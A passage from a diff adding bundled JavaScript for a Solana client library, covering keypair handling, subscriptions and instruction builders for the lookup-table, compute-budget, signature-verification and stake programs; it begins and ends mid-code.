removeSignatureListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'signature result'); + } + + /** + * @internal + */ + _wsOnRootNotification(notification) { + const { + result, + subscription + } = create(notification, RootNotificationResult); + this._handleServerNotification(subscription, [result]); + } + + /** + * Register a callback to be invoked upon root changes + * + * @param callback Function to invoke whenever the root changes + * @return subscription id + */ + onRootChange(callback) { + return this._makeSubscription({ + callback, + method: 'rootSubscribe', + unsubscribeMethod: 'rootUnsubscribe' + }, [] /* args */); + } + + /** + * Deregister a root notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeRootChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'root change'); + } +} + +/** + * Keypair signer interface + */ + +/** + * An account keypair used for signing transactions. + */ +class Keypair { + /** + * Create a new keypair instance. + * Generate random keypair if no {@link Ed25519Keypair} is provided. + * + * @param {Ed25519Keypair} keypair ed25519 keypair + */ + constructor(keypair) { + this._keypair = void 0; + this._keypair = keypair ?? generateKeypair(); + } + + /** + * Generate a new random keypair + * + * @returns {Keypair} Keypair + */ + static generate() { + return new Keypair(generateKeypair()); + } + + /** + * Create a keypair from a raw secret key byte array. + * + * This method should only be used to recreate a keypair from a previously + * generated secret key. Generating keypairs from a random seed should be done + * with the {@link Keypair.fromSeed} method. + * + * @throws error if the provided secret key is invalid and validation is not skipped. + * + * @param secretKey secret key byte array + * @param options skip secret key validation + * + * @returns {Keypair} Keypair + */ + static fromSecretKey(secretKey, options) { + if (secretKey.byteLength !== 64) { + throw new Error('bad secret key size'); + } + const publicKey = secretKey.slice(32, 64); + if (!options || !options.skipValidation) { + const privateScalar = secretKey.slice(0, 32); + const computedPublicKey = getPublicKey(privateScalar); + for (let ii = 0; ii < 32; ii++) { + if (publicKey[ii] !== computedPublicKey[ii]) { + throw new Error('provided secretKey is invalid'); + } + } + } + return new Keypair({ + publicKey, + secretKey + }); + } + + /** + * Generate a keypair from a 32 byte seed. + * + * @param seed seed byte array + * + * @returns {Keypair} Keypair + */ + static fromSeed(seed) { + const publicKey = getPublicKey(seed); + const secretKey = new Uint8Array(64); + secretKey.set(seed); + secretKey.set(publicKey, 32); + return new Keypair({ + publicKey, + secretKey + }); + } + + /** + * The public key for this keypair + * + * @returns {PublicKey} PublicKey + */ + get publicKey() { + return new PublicKey(this._keypair.publicKey); + } + + /** + * The raw secret key for this keypair + * @returns {Uint8Array} Secret key in an array of Uint8 bytes + */ + get secretKey() { + return new Uint8Array(this._keypair.secretKey); + } +} + +/** + * An enumeration of valid LookupTableInstructionType's + */ + +/** + * An enumeration of valid address lookup table InstructionType's + * @internal + */ +const LOOKUP_TABLE_INSTRUCTION_LAYOUTS = Object.freeze({ + CreateLookupTable: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64('recentSlot'), BufferLayout.u8('bumpSeed')]) + }, + FreezeLookupTable: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + ExtendLookupTable: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64(), BufferLayout.seq(publicKey(), BufferLayout.offset(BufferLayout.u32(), -8), 'addresses')]) + }, + DeactivateLookupTable: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + CloseLookupTable: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + } +}); +class AddressLookupTableInstruction { + /** + * @internal + */ + constructor() {} + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const index = instructionTypeLayout.decode(instruction.data); + let type; + for (const [layoutType, layout] of Object.entries(LOOKUP_TABLE_INSTRUCTION_LAYOUTS)) { + if (layout.index == index) { + type = layoutType; + break; + } + } + if (!type) { + throw new Error('Invalid Instruction. Should be a LookupTable Instruction'); + } + return type; + } + static decodeCreateLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 4); + const { + recentSlot + } = decodeData$1(LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable, instruction.data); + return { + authority: instruction.keys[1].pubkey, + payer: instruction.keys[2].pubkey, + recentSlot: Number(recentSlot) + }; + } + static decodeExtendLookupTable(instruction) { + this.checkProgramId(instruction.programId); + if (instruction.keys.length < 2) { + throw new Error(`invalid instruction; found ${instruction.keys.length} keys, expected at least 2`); + } + const { + addresses + } = decodeData$1(LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable, instruction.data); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey, + payer: instruction.keys.length > 2 ? instruction.keys[2].pubkey : undefined, + addresses: addresses.map(buffer => new PublicKey(buffer)) + }; + } + static decodeCloseLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 3); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey, + recipient: instruction.keys[2].pubkey + }; + } + static decodeFreezeLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 2); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey + }; + } + static decodeDeactivateLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 2); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(AddressLookupTableProgram.programId)) { + throw new Error('invalid instruction; programId is not AddressLookupTable Program'); + } + } + /** + * @internal + */ + static checkKeysLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} +class AddressLookupTableProgram { + /** + * @internal + */ + constructor() {} + static createLookupTable(params) { + const [lookupTableAddress, bumpSeed] = PublicKey.findProgramAddressSync([params.authority.toBuffer(), toBufferLE(BigInt(params.recentSlot), 8)], this.programId); + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable; + const data = encodeData(type, { + recentSlot: BigInt(params.recentSlot), + bumpSeed: bumpSeed + }); + const keys = [{ + pubkey: lookupTableAddress, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }, { + pubkey: params.payer, + isSigner: true, + isWritable: true + }, { + pubkey: SystemProgram.programId, + isSigner: false, + isWritable: false + }]; + return [new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }), lookupTableAddress]; + } + static freezeLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.FreezeLookupTable; + const data = encodeData(type); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }]; + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } + static extendLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable; + const data = encodeData(type, { + addresses: params.addresses.map(addr => addr.toBytes()) + }); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }]; + if (params.payer) { + keys.push({ + pubkey: params.payer, + isSigner: true, + isWritable: true + }, { + pubkey: SystemProgram.programId, + isSigner: false, + isWritable: false + }); + } + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } + static deactivateLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.DeactivateLookupTable; + const data = encodeData(type); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }]; + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } + static closeLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CloseLookupTable; + const data = encodeData(type); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }, { + pubkey: params.recipient, + isSigner: false, + isWritable: true + }]; + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } +} +AddressLookupTableProgram.programId = new PublicKey('AddressLookupTab1e1111111111111111111111111'); + +/** + * Compute Budget Instruction class + */ +class ComputeBudgetInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a compute budget instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u8('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a ComputeBudgetInstruction'); + } + return type; + } + + /** + * Decode request units compute budget instruction and retrieve the instruction params. + */ + static decodeRequestUnits(instruction) { + this.checkProgramId(instruction.programId); + const { + units, + additionalFee + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits, instruction.data); + return { + units, + additionalFee + }; + } + + /** + * Decode request heap frame compute budget instruction and retrieve the instruction params. + */ + static decodeRequestHeapFrame(instruction) { + this.checkProgramId(instruction.programId); + const { + bytes + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame, instruction.data); + return { + bytes + }; + } + + /** + * Decode set compute unit limit compute budget instruction and retrieve the instruction params. + */ + static decodeSetComputeUnitLimit(instruction) { + this.checkProgramId(instruction.programId); + const { + units + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit, instruction.data); + return { + units + }; + } + + /** + * Decode set compute unit price compute budget instruction and retrieve the instruction params. + */ + static decodeSetComputeUnitPrice(instruction) { + this.checkProgramId(instruction.programId); + const { + microLamports + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice, instruction.data); + return { + microLamports + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(ComputeBudgetProgram.programId)) { + throw new Error('invalid instruction; programId is not ComputeBudgetProgram'); + } + } +} + +/** + * An enumeration of valid ComputeBudgetInstructionType's + */ + +/** + * Request units instruction params + */ + +/** + * Request heap frame instruction params + */ + +/** + * Set compute unit limit instruction params + */ + +/** + * Set compute unit price instruction params + */ + +/** + * An enumeration of valid ComputeBudget InstructionType's + * @internal + */ +const COMPUTE_BUDGET_INSTRUCTION_LAYOUTS = Object.freeze({ + RequestUnits: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), BufferLayout.u32('units'), BufferLayout.u32('additionalFee')]) + }, + RequestHeapFrame: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), BufferLayout.u32('bytes')]) + }, + SetComputeUnitLimit: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), BufferLayout.u32('units')]) + }, + SetComputeUnitPrice: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), u64('microLamports')]) + } +}); + +/** + * Factory class for transaction instructions to interact with the Compute Budget program + */ +class ComputeBudgetProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the Compute Budget program + */ + + /** + * @deprecated Instead, call {@link setComputeUnitLimit} and/or {@link setComputeUnitPrice} + */ + static requestUnits(params) { + const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits; + const data = encodeData(type, params); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } + static requestHeapFrame(params) { + const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame; + const data = encodeData(type, params); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } + static setComputeUnitLimit(params) { + const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit; + const data = encodeData(type, params); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } + static setComputeUnitPrice(params) { + const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice; + const data = encodeData(type, { + microLamports: BigInt(params.microLamports) + }); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } +} +ComputeBudgetProgram.programId = new PublicKey('ComputeBudget111111111111111111111111111111'); + +const PRIVATE_KEY_BYTES$1 = 64; +const PUBLIC_KEY_BYTES$1 = 32; +const SIGNATURE_BYTES = 64; + +/** + * Params for creating an ed25519 instruction using a public key + */ + +/** + * Params for creating an ed25519 instruction using a private key + */ + +const ED25519_INSTRUCTION_LAYOUT = BufferLayout.struct([BufferLayout.u8('numSignatures'), BufferLayout.u8('padding'), BufferLayout.u16('signatureOffset'), BufferLayout.u16('signatureInstructionIndex'), BufferLayout.u16('publicKeyOffset'), BufferLayout.u16('publicKeyInstructionIndex'), BufferLayout.u16('messageDataOffset'), BufferLayout.u16('messageDataSize'), BufferLayout.u16('messageInstructionIndex')]); +class Ed25519Program { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the ed25519 program + */ + + /** + * Create an ed25519 instruction with a public key and signature. The + * public key must be a buffer that is 32 bytes long, and the signature + * must be a buffer of 64 bytes. + */ + static createInstructionWithPublicKey(params) { + const { + publicKey, + message, + signature, + instructionIndex + } = params; + assert(publicKey.length === PUBLIC_KEY_BYTES$1, `Public Key must be ${PUBLIC_KEY_BYTES$1} bytes but received ${publicKey.length} bytes`); + assert(signature.length === SIGNATURE_BYTES, `Signature must be ${SIGNATURE_BYTES} bytes but received ${signature.length} bytes`); + const publicKeyOffset = ED25519_INSTRUCTION_LAYOUT.span; + const signatureOffset = publicKeyOffset + publicKey.length; + const messageDataOffset = signatureOffset + signature.length; + const numSignatures = 1; + const instructionData = Buffer.alloc(messageDataOffset + message.length); + const index = instructionIndex == null ? 0xffff // An index of `u16::MAX` makes it default to the current instruction. + : instructionIndex; + ED25519_INSTRUCTION_LAYOUT.encode({ + numSignatures, + padding: 0, + signatureOffset, + signatureInstructionIndex: index, + publicKeyOffset, + publicKeyInstructionIndex: index, + messageDataOffset, + messageDataSize: message.length, + messageInstructionIndex: index + }, instructionData); + instructionData.fill(publicKey, publicKeyOffset); + instructionData.fill(signature, signatureOffset); + instructionData.fill(message, messageDataOffset); + return new TransactionInstruction({ + keys: [], + programId: Ed25519Program.programId, + data: instructionData + }); + } + + /** + * Create an ed25519 instruction with a private key. The private key + * must be a buffer that is 64 bytes long. + */ + static createInstructionWithPrivateKey(params) { + const { + privateKey, + message, + instructionIndex + } = params; + assert(privateKey.length === PRIVATE_KEY_BYTES$1, `Private key must be ${PRIVATE_KEY_BYTES$1} bytes but received ${privateKey.length} bytes`); + try { + const keypair = Keypair.fromSecretKey(privateKey); + const publicKey = keypair.publicKey.toBytes(); + const signature = sign(message, keypair.secretKey); + return this.createInstructionWithPublicKey({ + publicKey, + message, + signature, + instructionIndex + }); + } catch (error) { + throw new Error(`Error creating instruction; ${error}`); + } + } +} +Ed25519Program.programId = new PublicKey('Ed25519SigVerify111111111111111111111111111'); + +const ecdsaSign = (msgHash, privKey) => { + const signature = secp256k1.sign(msgHash, privKey); + return [signature.toCompactRawBytes(), signature.recovery]; +}; +secp256k1.utils.isValidPrivateKey; +const publicKeyCreate = secp256k1.getPublicKey; + +const PRIVATE_KEY_BYTES = 32; +const ETHEREUM_ADDRESS_BYTES = 20; +const PUBLIC_KEY_BYTES = 64; +const SIGNATURE_OFFSETS_SERIALIZED_SIZE = 11; + +/** + * Params for creating an secp256k1 instruction using a public key + */ + +/** + * Params for creating an secp256k1 instruction using an Ethereum address + */ + +/** + * Params for creating an secp256k1 instruction using a private key + */ + +const SECP256K1_INSTRUCTION_LAYOUT = BufferLayout.struct([BufferLayout.u8('numSignatures'), BufferLayout.u16('signatureOffset'), BufferLayout.u8('signatureInstructionIndex'), BufferLayout.u16('ethAddressOffset'), BufferLayout.u8('ethAddressInstructionIndex'), BufferLayout.u16('messageDataOffset'), BufferLayout.u16('messageDataSize'), BufferLayout.u8('messageInstructionIndex'), BufferLayout.blob(20, 'ethAddress'), BufferLayout.blob(64, 'signature'), BufferLayout.u8('recoveryId')]); +class Secp256k1Program { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the secp256k1 program + */ + + /** + * Construct an Ethereum address from a secp256k1 public key buffer. + * @param {Buffer} publicKey a 64 byte secp256k1 public key buffer + */ + static publicKeyToEthAddress(publicKey) { + assert(publicKey.length === PUBLIC_KEY_BYTES, `Public key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`); + try { + return Buffer.from(keccak_256(toBuffer(publicKey))).slice(-ETHEREUM_ADDRESS_BYTES); + } catch (error) { + throw new Error(`Error constructing Ethereum address: ${error}`); + } + } + + /** + * Create an secp256k1 instruction with a public key. The public key + * must be a buffer that is 64 bytes long. + */ + static createInstructionWithPublicKey(params) { + const { + publicKey, + message, + signature, + recoveryId, + instructionIndex + } = params; + return Secp256k1Program.createInstructionWithEthAddress({ + ethAddress: Secp256k1Program.publicKeyToEthAddress(publicKey), + message, + signature, + recoveryId, + instructionIndex + }); + } + + /** + * Create an secp256k1 instruction with an Ethereum address. The address + * must be a hex string or a buffer that is 20 bytes long. + */ + static createInstructionWithEthAddress(params) { + const { + ethAddress: rawAddress, + message, + signature, + recoveryId, + instructionIndex = 0 + } = params; + let ethAddress; + if (typeof rawAddress === 'string') { + if (rawAddress.startsWith('0x')) { + ethAddress = Buffer.from(rawAddress.substr(2), 'hex'); + } else { + ethAddress = Buffer.from(rawAddress, 'hex'); + } + } else { + ethAddress = rawAddress; + } + assert(ethAddress.length === ETHEREUM_ADDRESS_BYTES, `Address must be ${ETHEREUM_ADDRESS_BYTES} bytes but received ${ethAddress.length} bytes`); + const dataStart = 1 + SIGNATURE_OFFSETS_SERIALIZED_SIZE; + const ethAddressOffset = dataStart; + const signatureOffset = dataStart + ethAddress.length; + const messageDataOffset = signatureOffset + signature.length + 1; + const numSignatures = 1; + const instructionData = Buffer.alloc(SECP256K1_INSTRUCTION_LAYOUT.span + message.length); + SECP256K1_INSTRUCTION_LAYOUT.encode({ + numSignatures, + signatureOffset, + signatureInstructionIndex: instructionIndex, + ethAddressOffset, + ethAddressInstructionIndex: instructionIndex, + messageDataOffset, + messageDataSize: message.length, + messageInstructionIndex: instructionIndex, + signature: toBuffer(signature), + ethAddress: toBuffer(ethAddress), + recoveryId + }, instructionData); + instructionData.fill(toBuffer(message), SECP256K1_INSTRUCTION_LAYOUT.span); + return new TransactionInstruction({ + keys: [], + programId: Secp256k1Program.programId, + data: instructionData + }); + } + + /** + * Create an secp256k1 instruction with a private key. The private key + * must be a buffer that is 32 bytes long. + */ + static createInstructionWithPrivateKey(params) { + const { + privateKey: pkey, + message, + instructionIndex + } = params; + assert(pkey.length === PRIVATE_KEY_BYTES, `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${pkey.length} bytes`); + try { + const privateKey = toBuffer(pkey); + const publicKey = publicKeyCreate(privateKey, false /* isCompressed */).slice(1); // throw away leading byte + const messageHash = Buffer.from(keccak_256(toBuffer(message))); + const [signature, recoveryId] = ecdsaSign(messageHash, privateKey); + return this.createInstructionWithPublicKey({ + publicKey, + message, + signature, + recoveryId, + instructionIndex + }); + } catch (error) { + throw new Error(`Error creating instruction; ${error}`); + } + } +} +Secp256k1Program.programId = new PublicKey('KeccakSecp256k11111111111111111111111111111'); + +var _Lockup; + +/** + * Address of the stake config account which configures the rate + * of stake warmup and cooldown as well as the slashing penalty. + */ +const STAKE_CONFIG_ID = new PublicKey('StakeConfig11111111111111111111111111111111'); + +/** + * Stake account authority info + */ +class Authorized { + /** + * Create a new Authorized object + * @param staker the stake authority + * @param withdrawer the withdraw authority + */ + constructor(staker, withdrawer) { + /** stake authority */ + this.staker = void 0; + /** withdraw authority */ + this.withdrawer = void 0; + this.staker = staker; + this.withdrawer = withdrawer; + } +} +/** + * Stake account lockup info + */ +class Lockup { + /** + * Create a new Lockup object + */ + constructor(unixTimestamp, epoch, custodian) { + /** Unix timestamp of lockup expiration */ + this.unixTimestamp = void 0; + /** Epoch of lockup expiration */ + this.epoch = void 0; + /** Lockup custodian authority */ + this.custodian = void 0; + this.unixTimestamp = unixTimestamp; + this.epoch = epoch; + this.custodian = custodian; + } + + /** + * Default, inactive Lockup value + */ +} +_Lockup = Lockup; +Lockup.default = new _Lockup(0, 0, PublicKey.default); +/** + * Create stake account transaction params + */ +/** + * Create stake account with seed transaction params + */ +/** + * Initialize stake instruction params + */ +/** + * Delegate stake instruction params + */ +/** + * Authorize stake instruction params + */ +/** + * Authorize stake instruction params using a derived key + */ +/** + * Split stake instruction params + */ +/** + * Split with seed transaction params + */ +/** + * Withdraw stake instruction params + */ +/** + * Deactivate stake instruction params + */ +/** + * Merge stake instruction params + */ +/** + * Stake Instruction class + */ +class StakeInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a stake instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(STAKE_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a StakeInstruction'); + } + return type; + } + + /** + * Decode a initialize stake instruction and retrieve the instruction params. + */ + static decodeInitialize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + authorized, + lockup + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Initialize, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + authorized: new Authorized(new PublicKey(authorized.staker), new PublicKey(authorized.withdrawer)), + lockup: new Lockup(lockup.unixTimestamp, lockup.epoch, new PublicKey(lockup.custodian)) + }; + } + + /** + * Decode a delegate stake instruction and retrieve the instruction params. + */ + static decodeDelegate(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 6); + decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Delegate, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + votePubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[5].pubkey + }; + } + + /** + * Decode an authorize stake instruction and retrieve the instruction params. + */ + static decodeAuthorize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + newAuthorized, + stakeAuthorizationType + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Authorize, instruction.data); + const o = { + stakePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey, + newAuthorizedPubkey: new PublicKey(newAuthorized), + stakeAuthorizationType: { + index: stakeAuthorizationType + } + }; + if (instruction.keys.length > 3) { + o.custodianPubkey = instruction.keys[3].pubkey; + } + return o; + } + + /** + * Decode an authorize-with-seed stake instruction and retrieve the instruction params. + */ + static decodeAuthorizeWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + newAuthorized, + stakeAuthorizationType, + authoritySeed, + authorityOwner + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed, instruction.data); + const o = { + stakePubkey: instruction.keys[0].pubkey, + authorityBase: instruction.keys[1].pubkey, + authoritySeed: authoritySeed, + authorityOwner: new PublicKey(authorityOwner), + newAuthorizedPubkey: new PublicKey(newAuthorized), + stakeAuthorizationType: { + index: stakeAuthorizationType + } + }; + if (instruction.keys.length > 3) { + o.custodianPubkey = instruction.keys[3].pubkey; + } + return o; + } + + /** + * Decode a split stake instruction and retrieve the instruction params. + */ + static decodeSplit(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + lamports + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Split, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + splitStakePubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[2].pubkey, + lamports + }; + } + + /** + * Decode a merge stake instruction and retrieve the instruction params. + */ + static decodeMerge(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Merge, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + sourceStakePubKey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[4].pubkey + }; + } + + /** + * Decode a withdraw stake instruction and retrieve the instruction params. + */ + static decodeWithdraw(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 5); + const { + lamports + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Withdraw, instruction.data); + const o = { + stakePubkey: instruction.keys[0].pubkey, + toPubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[4].pubkey, + lamports + }; + if (instruction.keys.length > 5) { + o.custodianPubkey = instruction.keys[5].pubkey; + } + return o; + } + + /** + * Decode a deactivate stake instruction and retrieve the instruction params. + */ + static decodeDeactivate(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Deactivate, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(StakeProgram.programId)) { + throw new Error('invalid instruction; programId is not StakeProgram'); + } + } + + /** + * @internal + */ + static checkKeyLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} + +/** + * An enumeration of valid StakeInstructionType's + */ + +/** + * An enumeration of valid stake InstructionType's + * @internal + */ +const STAKE_INSTRUCTION_LAYOUTS = Object.freeze({ + Initialize: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), authorized(), lockup()]) + }, + Authorize: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('newAuthorized'), BufferLayout.u32('stakeAuthorizationType')]) + }, + Delegate: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + Split: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + Withdraw: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + Deactivate: { + index: 5, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + Merge: { + index: 7, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + AuthorizeWithSeed: { + index: 8, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('newAuthorized'), BufferLayout.u32('stakeAuthorizationType'), rustString('authoritySeed'), publicKey('authorityOwner')]) + } +}); + +/** + * Stake authorization type + */ + +/** + * An enumeration of valid StakeAuthorizationLayout's + */ +const StakeAuthorizationLayout = Object.freeze({ + Staker: { + index: 0 + }, + Withdrawer: { + index: 1 + } +}); + +/** + * Factory class for transactions to interact with the Stake program + */ +class StakeProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the Stake program + */ + + /** + * Generate an Initialize instruction to add to a Stake Create transaction + */ + static initialize(params) { + const { + stakePubkey, + authorized, + lockup: maybeLockup + } = params; + const lockup = maybeLockup || Lockup.default; + const type = STAKE_INSTRUCTION_LAYOUTS.Initialize; + const data = encodeData(type, { + authorized: { + staker: toBuffer(authorized.staker.toBuffer()), + withdrawer: toBuffer(authorized.withdrawer.toBuffer()) + }, + lockup: { + unixTimestamp: lockup.unixTimestamp, + epoch: lockup.epoch, + custodian: toBuffer(lockup.custodian.toBuffer()) + } + }); + const instructionData = { + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate a Transaction that creates a new Stake account at + * an address generated with `from`, a seed, and the Stake programId + */ + static createAccountWithSeed(params) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccountWithSeed({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.stakePubkey, + basePubkey: params.basePubkey, + seed: params.seed, + lamports: params.lamports, + space: this.space, + programId: this.programId + })); + const { + stakePubkey, + authorized, + lockup + } = params; + return transaction.add(this.initialize({ + stakePubkey, + authorized, + lockup + })); + } + + /** + * Generate a Transaction that creates a new Stake account + */ + static createAccount(params) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.stakePubkey, + lamports: params.lamports, + space: this.space, + programId: this.programId + })); + const { + stakePubkey, + authorized, + lockup + } = params; + return transaction.add(this.initialize({ + stakePubkey, + authorized, + lockup + })); + } + + /** + * Generate a Transaction that delegates Stake tokens to a validator + * Vote PublicKey. This transaction can also be used to redelegate Stake + * to a new validator Vote PublicKey. + */ + static delegate(params) { + const { + stakePubkey, + authorizedPubkey, + votePubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Delegate; + const data = encodeData(type); + return new Transaction().add({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: votePubkey, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_STAKE_HISTORY_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: 